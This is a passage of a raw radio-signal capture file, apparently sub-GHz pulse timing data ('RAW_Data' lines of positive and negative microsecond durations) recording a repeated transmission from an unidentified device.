105 -370 99 -364 123 -360 327 -122 367 -94 371 -96 337 -128 337 -124 123 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -102 143 -362 107 -336 371 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3712 105 -370 97 -362 -RAW_Data: 125 -360 327 -122 359 -106 359 -108 337 -124 359 -106 139 -362 329 -92 377 -94 369 -96 125 -366 129 -330 123 -374 349 -104 141 -362 105 -336 369 -108 339 -128 95 -370 103 -370 93 -384 93 -372 129 -3710 105 -370 99 -362 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 347 -132 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 143 -362 105 -336 371 -108 339 -126 97 -370 141 -334 125 -350 125 -340 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 141 -362 329 -92 377 -94 369 -96 125 -366 129 -332 121 -374 349 -104 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3710 105 -372 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -134 331 -124 335 -128 121 -370 101 -368 93 -378 351 -104 141 -362 107 -334 371 -108 339 -128 95 -352 123 -378 101 -368 123 -350 125 -3702 95 -378 141 -334 133 -330 349 -140 335 -94 375 -94 369 -96 369 -96 125 -372 325 -142 335 -94 379 -94 121 -372 101 -370 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 125 -350 103 -368 125 -350 349 -104 339 -124 369 -94 369 -98 337 -128 125 -340 357 -142 335 -94 377 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 371 -108 337 -128 95 -372 139 -336 123 -352 95 -370 129 -3704 125 -352 103 -368 125 -348 351 -104 337 -124 369 -96 369 -96 369 -96 125 -340 357 -142 335 -96 377 -94 121 -372 101 -368 125 -348 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3710 105 -370 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 337 -128 121 -370 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 141 -336 99 -364 123 -338 351 -132 335 -122 337 -128 337 -128 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -366 125 -350 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3704 125 -352 103 -368 125 -348 351 -104 337 -124 371 -94 369 -96 339 -126 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3712 105 -370 97 -364 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 -RAW_Data: 141 -360 329 -94 375 -94 369 -96 125 -366 129 -332 121 -374 351 -102 141 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 337 -128 337 -124 123 -352 347 -134 331 -124 335 -128 121 -340 131 -368 93 -378 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 139 -336 125 -350 95 -370 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 339 -126 337 -124 123 -352 347 -132 331 -124 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 103 -336 371 -108 337 -128 97 -382 93 -380 101 -368 93 -380 95 -3740 103 -378 105 -334 123 -356 357 -92 377 -94 369 -96 369 -96 369 -94 123 -372 327 -128 355 -92 369 -128 91 -368 131 -332 123 -376 349 -104 141 -364 105 -336 369 -108 339 -126 97 -370 141 -334 125 -350 125 -338 129 -3704 139 -336 135 -332 121 -340 381 -102 335 -122 337 -128 369 -96 337 -128 125 -342 355 -142 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 103 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -384 93 -3746 103 -342 137 -336 121 -358 357 -92 385 -106 361 -106 339 -96 395 -104 107 -342 353 -142 335 -94 375 -94 121 -372 103 -366 125 -350 351 -102 143 -362 107 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3706 141 -336 97 -364 123 -338 381 -102 333 -124 367 -96 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 123 -370 103 -368 125 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 337 -124 123 -352 347 -132 333 -122 369 -94 123 -370 101 -368 91 -382 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 99 -364 123 -338 381 -102 335 -122 339 -126 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -104 141 -362 107 -336 373 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -366 93 -382 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -336 135 -332 123 -360 327 -122 371 -94 369 -96 369 -96 369 -92 125 -354 345 -134 331 -124 335 -128 121 -370 101 -368 -RAW_Data: 93 -380 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 123 -354 103 -368 123 -352 349 -104 339 -122 371 -96 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3706 139 -336 99 -364 123 -340 379 -102 335 -124 337 -126 337 -128 337 -128 125 -344 355 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 105 -370 93 -384 93 -370 129 -3714 107 -370 97 -362 123 -360 327 -122 337 -128 337 -128 337 -128 335 -126 123 -350 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3704 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 369 -92 125 -354 345 -134 331 -124 337 -126 121 -372 101 -368 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3704 123 -354 103 -368 125 -350 349 -104 339 -124 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -370 123 -352 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 337 -128 369 -96 337 -128 125 -342 357 -140 333 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -108 337 -128 95 -384 91 -380 101 -368 93 -382 95 -3734 95 -380 91 -380 101 -370 363 -108 335 -128 319 -124 369 -98 337 -128 125 -374 325 -140 335 -126 317 -124 121 -372 103 -366 93 -384 351 -102 141 -362 105 -336 373 -106 337 -130 95 -384 91 -380 101 -368 93 -382 93 -3742 103 -378 105 -334 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -370 327 -126 357 -92 369 -126 93 -366 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 369 -94 371 -96 337 -126 127 -342 355 -140 335 -94 377 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3704 125 -354 137 -334 125 -350 349 -104 339 -122 371 -94 369 -96 371 -94 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -338 371 -108 339 -128 -RAW_Data: 95 -370 141 -334 125 -352 125 -340 127 -3712 105 -370 97 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 331 -124 367 -96 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 103 -372 97 -364 125 -360 327 -122 369 -94 369 -96 337 -128 337 -124 125 -352 347 -132 333 -122 337 -126 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 99 -366 121 -360 329 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 337 -126 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 371 -108 339 -128 95 -370 105 -368 127 -350 95 -370 129 -3710 105 -372 97 -364 123 -360 327 -120 371 -94 369 -96 337 -128 337 -124 123 -352 347 -134 331 -122 367 -96 121 -370 103 -366 93 -380 351 -104 141 -362 107 -334 373 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3710 105 -370 99 -362 123 -360 327 -122 369 -96 369 -96 337 -128 337 -124 123 -352 345 -134 331 -124 337 -126 121 -372 101 -368 91 -380 351 -102 143 -362 107 -336 369 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3704 125 -352 103 -368 125 -350 351 -102 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 375 -94 121 -372 103 -368 91 -384 349 -104 141 -364 105 -336 371 -108 337 -128 97 -370 139 -334 125 -352 93 -372 129 -541752 157 -340 133 -366 91 -380 319 -134 335 -124 341 -126 337 -130 337 -128 125 -348 353 -138 301 -124 345 -126 121 -372 101 -368 93 -380 319 -134 141 -362 105 -334 371 -106 337 -128 97 -384 91 -378 101 -368 93 -382 95 -3738 103 -340 139 -334 123 -356 327 -124 383 -106 359 -108 337 -128 319 -124 121 -372 353 -106 345 -104 365 -92 139 -340 129 -358 93 -392 327 -122 121 -348 139 -334 369 -106 337 -130 95 -384 91 -378 103 -368 91 -382 95 -3742 103 -342 137 -336 121 -358 327 -122 387 -106 361 -106 337 -94 349 -124 121 -372 353 -106 345 -138 331 -94 139 -340 127 -360 93 -370 349 -132 103 -360 141 -336 365 -106 337 -128 95 -370 141 -334 93 -384 93 -372 127 -3714 105 -338 127 -360 125 -360 327 -122 337 -128 337 -128 337 -128 335 -126 123 -346 349 -132 331 -124 337 -126 123 -338 133 -366 91 -380 351 -104 141 -362 105 -336 369 -108 337 -128 97 -382 91 -378 103 -366 93 -382 93 -3734 93 -380 -RAW_Data: 91 -378 103 -368 363 -108 337 -128 317 -126 369 -96 337 -128 127 -340 357 -140 335 -96 347 -124 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 373 -106 337 -128 97 -382 93 -378 103 -366 93 -382 95 -3738 103 -378 103 -336 123 -356 359 -92 389 -104 359 -106 345 -102 361 -92 141 -340 373 -106 339 -128 321 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 93 -380 95 -3740 103 -344 139 -334 123 -358 359 -90 387 -104 361 -108 337 -126 317 -126 121 -372 353 -104 347 -138 331 -94 139 -340 127 -360 93 -370 349 -132 103 -396 105 -334 367 -108 337 -126 97 -370 103 -370 93 -384 93 -372 129 -3704 93 -382 103 -368 93 -382 349 -104 337 -124 339 -128 337 -128 337 -128 127 -344 355 -140 333 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 339 -128 95 -384 93 -378 101 -366 93 -382 95 -3746 103 -340 137 -334 123 -354 359 -92 383 -106 359 -108 337 -130 319 -126 121 -372 351 -106 347 -140 331 -92 139 -342 127 -358 93 -372 349 -132 103 -394 105 -336 365 -108 337 -128 95 -370 139 -334 127 -352 93 -372 129 -3710 105 -370 97 -362 123 -360 329 -120 337 -128 369 -96 337 -128 335 -126 123 -350 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 349 -104 143 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 91 -382 95 -3734 93 -350 123 -376 139 -334 361 -108 339 -96 379 -94 369 -96 369 -96 125 -370 327 -140 337 -94 379 -94 121 -372 101 -370 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 93 -372 127 -3712 103 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 345 -134 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 139 -336 123 -352 93 -372 127 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 337 -128 337 -124 125 -352 345 -134 331 -124 337 -126 121 -372 101 -366 93 -380 351 -102 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3706 105 -372 97 -364 123 -338 349 -134 333 -124 337 -126 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 99 -364 123 -360 327 -122 369 -94 369 -96 371 -94 -RAW_Data: 337 -126 123 -352 347 -134 331 -124 367 -96 121 -370 101 -368 93 -380 349 -104 141 -364 105 -336 371 -108 337 -128 95 -372 139 -334 125 -352 93 -372 129 -3710 105 -368 99 -362 123 -360 329 -120 369 -96 369 -96 337 -128 335 -126 123 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -362 107 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -352 345 -134 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3706 123 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -98 369 -94 127 -340 357 -142 335 -92 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -338 371 -108 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -350 347 -132 333 -122 339 -126 123 -370 101 -368 91 -380 351 -104 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3744 103 -342 137 -336 123 -358 357 -92 385 -106 361 -106 337 -128 317 -126 121 -372 353 -104 347 -138 331 -92 141 -340 129 -360 123 -340 349 -132 103 -396 105 -334 367 -108 335 -128 97 -368 141 -334 125 -354 93 -370 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 357 -106 139 -362 329 -92 379 -92 369 -98 123 -366 131 -330 123 -372 349 -104 141 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -350 125 -340 129 -3706 123 -352 103 -370 123 -350 349 -104 339 -124 369 -96 369 -96 337 -128 125 -344 355 -142 335 -94 383 -106 105 -348 123 -372 95 -372 347 -92 125 -368 141 -334 367 -108 337 -128 95 -370 141 -336 123 -352 125 -340 127 -3708 139 -336 99 -364 123 -360 327 -122 369 -94 369 -96 371 -94 337 -126 123 -354 345 -134 331 -124 335 -128 121 -340 131 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 95 -370 129 -3704 125 -352 103 -368 125 -350 349 -104 337 -124 371 -94 369 -96 339 -126 127 -340 357 -140 335 -94 377 -94 121 -372 103 -368 123 -350 351 -104 141 -362 107 -336 371 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 371 -96 337 -128 337 -124 123 -352 347 -132 331 -124 369 -94 121 -372 -RAW_Data: 101 -368 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -372 141 -334 125 -350 125 -340 129 -3704 125 -352 103 -370 123 -348 349 -104 339 -124 369 -96 369 -96 369 -96 125 -372 325 -142 335 -94 347 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 371 -106 337 -130 95 -384 91 -380 101 -368 91 -382 95 -3736 101 -382 105 -336 123 -354 359 -92 377 -94 369 -96 369 -96 369 -94 125 -370 359 -94 357 -94 367 -128 91 -368 131 -334 121 -376 351 -102 143 -362 107 -336 369 -108 339 -128 95 -368 141 -334 125 -352 93 -370 129 -3714 105 -370 97 -362 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -360 329 -124 349 -94 369 -96 123 -368 129 -330 123 -376 317 -134 141 -362 103 -336 369 -108 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3746 103 -344 137 -334 123 -358 359 -90 387 -106 361 -106 339 -94 379 -94 121 -372 355 -106 347 -104 365 -94 139 -340 127 -358 125 -358 327 -124 119 -350 137 -336 369 -108 337 -130 95 -384 105 -368 97 -364 123 -338 129 -3710 139 -338 133 -334 121 -362 327 -122 369 -94 371 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 351 -104 141 -364 105 -334 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3708 139 -336 99 -364 123 -338 381 -102 335 -122 337 -128 337 -128 337 -128 125 -344 353 -142 335 -94 375 -94 121 -372 103 -366 125 -350 349 -104 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3708 105 -370 99 -364 123 -360 327 -122 369 -94 371 -96 369 -96 337 -124 125 -352 347 -132 331 -124 335 -128 121 -370 103 -366 93 -380 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -350 125 -340 129 -3704 125 -354 101 -370 123 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -342 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3706 139 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -126 123 -354 345 -134 331 -124 335 -128 121 -340 131 -368 93 -380 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 141 -334 125 -350 125 -340 129 -3710 105 -370 99 -364 123 -360 327 -122 369 -94 371 -96 337 -126 337 -126 123 -352 347 -132 331 -124 367 -96 121 -370 101 -368 93 -380 351 -102 143 -362 105 -336 373 -108 -RAW_Data: 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3710 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 369 -96 337 -124 123 -354 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3742 103 -378 103 -336 123 -356 359 -92 375 -94 369 -98 369 -96 369 -94 123 -356 347 -132 331 -124 369 -94 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3708 105 -370 99 -362 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -362 107 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3710 105 -372 99 -362 123 -360 327 -122 369 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -122 337 -126 123 -338 133 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 141 -336 99 -366 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -382 351 -102 141 -364 103 -336 373 -106 337 -130 95 -382 93 -378 103 -366 93 -382 95 -3734 95 -380 121 -348 139 -334 363 -108 339 -96 379 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 97 -364 123 -360 327 -122 369 -94 369 -96 371 -94 337 -126 123 -354 345 -134 331 -124 335 -128 121 -370 101 -368 93 -380 349 -104 141 -364 105 -336 371 -108 337 -128 95 -382 91 -380 101 -368 125 -348 125 -3702 127 -346 141 -336 133 -330 349 -140 335 -94 375 -94 369 -96 369 -96 125 -372 327 -140 337 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -380 107 -370 97 -362 123 -338 129 -3706 125 -358 139 -334 123 -352 347 -104 339 -124 371 -94 369 -96 371 -94 127 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -104 143 -362 105 -336 371 -108 337 -128 97 -382 91 -380 101 -368 91 -384 95 -3740 103 -378 105 -336 123 -356 359 -90 391 -106 361 -106 345 -102 361 -92 139 -340 373 -108 339 -128 351 -94 121 -372 137 -334 123 -352 349 -104 143 -362 105 -338 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3704 -RAW_Data: 123 -354 139 -334 123 -350 351 -104 337 -124 371 -94 369 -98 369 -96 125 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -338 373 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3710 105 -370 97 -364 123 -360 329 -122 367 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 369 -94 121 -372 101 -368 91 -380 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 127 -3708 123 -354 137 -334 125 -350 349 -104 339 -122 341 -126 337 -130 337 -128 125 -344 355 -138 335 -94 347 -124 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 373 -106 339 -128 97 -382 93 -378 103 -368 91 -382 93 -3748 103 -342 137 -336 123 -358 357 -92 387 -106 361 -108 337 -96 377 -94 121 -372 355 -106 347 -104 363 -92 139 -342 127 -360 125 -338 347 -134 103 -360 143 -334 367 -108 337 -128 95 -372 139 -334 125 -352 125 -338 129 -3712 105 -370 99 -364 123 -360 327 -122 367 -96 369 -96 369 -96 337 -124 125 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 139 -336 133 -332 123 -360 329 -122 369 -94 369 -96 369 -96 369 -94 123 -354 345 -134 331 -124 367 -96 121 -370 103 -366 93 -380 349 -104 143 -362 105 -338 371 -108 337 -128 95 -372 139 -336 123 -352 125 -340 129 -3710 105 -370 99 -362 123 -360 329 -120 369 -96 369 -96 369 -96 337 -126 123 -354 345 -132 333 -122 369 -94 121 -372 101 -368 123 -348 351 -102 143 -362 105 -336 373 -108 339 -128 95 -372 139 -336 123 -352 125 -338 129 -3706 139 -338 133 -332 123 -338 379 -104 333 -124 367 -96 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -352 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -364 123 -360 327 -122 369 -94 369 -98 369 -96 367 -94 123 -354 347 -132 333 -122 369 -94 121 -372 101 -368 91 -382 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -364 123 -360 327 -122 369 -96 369 -96 369 -96 337 -124 125 -352 345 -134 331 -122 369 -96 121 -370 101 -368 93 -380 351 -102 143 -362 107 -336 371 -108 337 -128 97 -370 141 -334 125 -352 125 -338 129 -3708 141 -336 99 -362 123 -360 329 -122 369 -94 369 -98 -RAW_Data: 369 -96 367 -94 123 -354 345 -134 331 -122 369 -96 121 -370 101 -368 125 -348 351 -102 143 -362 107 -336 371 -108 339 -128 95 -370 139 -336 125 -350 95 -370 129 -3706 141 -336 133 -332 123 -338 379 -104 335 -122 369 -94 369 -98 337 -126 127 -342 355 -140 335 -94 347 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 373 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3736 95 -378 105 -370 99 -364 349 -140 335 -94 375 -94 369 -96 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 95 -370 129 -3716 105 -338 129 -362 123 -360 327 -122 369 -94 337 -128 339 -126 337 -126 123 -352 347 -132 331 -124 337 -128 121 -370 101 -366 93 -380 351 -104 141 -362 105 -334 373 -106 339 -128 97 -382 105 -370 97 -362 123 -340 127 -3712 139 -338 133 -334 121 -360 329 -122 371 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -124 337 -128 121 -370 101 -368 91 -382 351 -102 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3734 125 -346 123 -350 139 -334 363 -110 339 -94 381 -94 369 -96 369 -96 125 -370 327 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -352 125 -340 127 -3706 139 -336 133 -332 123 -360 329 -122 369 -94 371 -96 369 -96 367 -94 123 -354 347 -132 333 -122 337 -128 121 -370 101 -368 91 -384 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 103 -368 91 -382 95 -3736 95 -380 91 -378 139 -334 363 -108 339 -94 379 -94 369 -98 369 -96 125 -340 357 -142 335 -94 379 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 95 -372 141 -334 125 -350 125 -340 129 -3706 141 -336 133 -332 123 -338 379 -104 335 -122 337 -128 369 -96 337 -128 125 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -102 143 -362 105 -336 373 -108 339 -128 95 -372 105 -370 93 -384 93 -372 129 -3712 107 -338 129 -362 123 -360 327 -122 359 -106 361 -106 339 -124 357 -106 139 -362 329 -124 347 -94 369 -96 125 -366 129 -332 123 -372 351 -102 143 -362 105 -336 369 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3704 125 -354 139 -332 125 -350 351 -104 337 -124 371 -94 369 -96 369 -96 125 -340 359 -140 337 -94 377 -94 -RAW_Data: 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 373 -108 339 -128 97 -372 139 -334 125 -350 95 -370 129 -3712 105 -370 99 -362 123 -360 329 -120 369 -96 369 -96 369 -96 337 -124 125 -352 347 -132 331 -124 367 -96 121 -372 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 339 -128 95 -370 141 -334 125 -352 125 -340 127 -3712 105 -372 97 -364 123 -360 327 -122 357 -106 359 -108 339 -126 339 -126 123 -370 355 -104 345 -104 365 -92 139 -340 127 -360 125 -358 329 -122 119 -352 139 -336 371 -106 339 -128 97 -382 91 -378 101 -368 125 -348 127 -3704 103 -382 103 -338 123 -386 325 -124 349 -94 367 -96 371 -96 367 -94 125 -358 345 -134 333 -122 369 -96 121 -370 101 -368 125 -348 351 -104 141 -362 105 -336 373 -108 339 -128 95 -382 93 -376 103 -368 93 -382 125 -3710 103 -380 103 -336 123 -356 359 -90 377 -94 369 -96 369 -96 369 -94 125 -370 359 -96 355 -94 367 -128 91 -368 131 -332 123 -378 349 -104 141 -362 107 -336 369 -108 339 -126 97 -370 141 -334 125 -352 125 -338 129 -3706 125 -354 137 -334 125 -350 349 -104 339 -122 371 -94 369 -96 371 -94 127 -338 359 -140 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -108 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3704 123 -356 139 -334 123 -352 349 -104 339 -122 371 -94 369 -98 369 -96 125 -340 357 -140 337 -94 377 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 129 -3712 105 -370 99 -364 123 -360 327 -122 369 -94 369 -96 369 -96 337 -126 123 -352 347 -132 333 -122 339 -126 123 -370 101 -368 91 -382 351 -102 141 -364 103 -336 371 -108 337 -128 97 -382 105 -370 97 -362 123 -338 129 -3710 139 -340 135 -332 123 -360 329 -122 357 -104 395 -108 305 -126 351 -140 105 -360 333 -126 351 -94 369 -128 93 -366 131 -332 121 -378 317 -134 141 -360 105 -336 371 -106 337 -128 97 -382 91 -380 103 -368 91 -382 95 -3746 103 -378 103 -336 121 -374 349 -102 337 -122 357 -106 359 -142 303 -126 139 -342 351 -124 355 -104 335 -124 121 -352 139 -334 125 -356 351 -102 143 -362 105 -336 375 -106 339 -128 97 -374 105 -368 93 -384 95 -370 129 -3716 107 -336 129 -362 123 -360 327 -122 369 -94 369 -98 337 -128 337 -124 123 -352 347 -132 333 -122 339 -126 123 -370 101 -366 91 -382 351 -102 141 -362 105 -336 -RAW_Data: 371 -108 337 -128 97 -382 105 -370 97 -362 123 -340 127 -3708 123 -360 139 -334 125 -350 349 -104 339 -124 371 -94 369 -96 369 -96 125 -372 327 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 373 -106 337 -128 97 -382 93 -378 101 -368 93 -384 93 -3738 101 -382 105 -336 123 -356 359 -92 377 -94 369 -96 369 -98 367 -94 125 -370 327 -128 355 -124 337 -128 91 -368 131 -334 123 -376 351 -102 141 -364 105 -336 371 -106 339 -126 97 -370 141 -334 125 -352 125 -340 129 -3706 139 -338 133 -330 123 -340 379 -102 335 -122 369 -96 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 103 -368 125 -350 351 -102 143 -362 105 -336 375 -106 339 -128 95 -370 141 -334 125 -352 125 -340 129 -3708 139 -338 97 -366 123 -360 327 -122 369 -96 369 -96 369 -96 367 -94 125 -352 347 -132 333 -122 337 -128 121 -340 133 -366 93 -380 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 141 -334 125 -352 93 -370 129 -3712 105 -370 99 -364 123 -360 327 -120 359 